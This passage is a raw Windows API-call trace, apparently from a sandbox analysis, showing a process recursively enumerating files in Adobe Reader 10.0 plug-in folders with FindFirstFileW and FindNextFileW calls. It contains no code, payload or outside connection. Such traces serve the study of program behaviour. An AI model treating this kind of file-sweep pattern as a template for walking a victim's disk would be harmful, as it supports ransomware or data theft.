ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0228.747] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0228.747] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15de63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0228.748] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0228.748] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd063, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0228.748] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ab863, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0228.748] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18463, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0228.748] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x234a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1 [0228.748] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1 [0228.748] GetProcessHeap () returned 0x550000 [0228.748] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0228.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0229.104] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.104] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0229.104] GetProcessHeap () returned 0x550000 [0229.104] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.117] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.150] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0229.150] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHS", cAlternateFileName="")) returned 1 [0229.150] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHT", cAlternateFileName="")) returned 1 [0229.150] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DAN", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DEU", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ESP", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.EUQ", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.FRA", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ITA", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.JPN", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.KOR", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6b1000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NLD", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NOR", cAlternateFileName="")) returned 1 [0229.151] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.PTB", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SUO", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SVE", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CAT", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHS", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHT", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DAN", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DEU", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ESP", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.EUQ", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.FRA", cAlternateFileName="")) returned 1 [0229.152] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ITA", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.JPN", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.KOR", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NLD", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NOR", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.PTB", cAlternateFileName="")) returned 1 [0229.153] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SUO", cAlternateFileName="")) returned 1 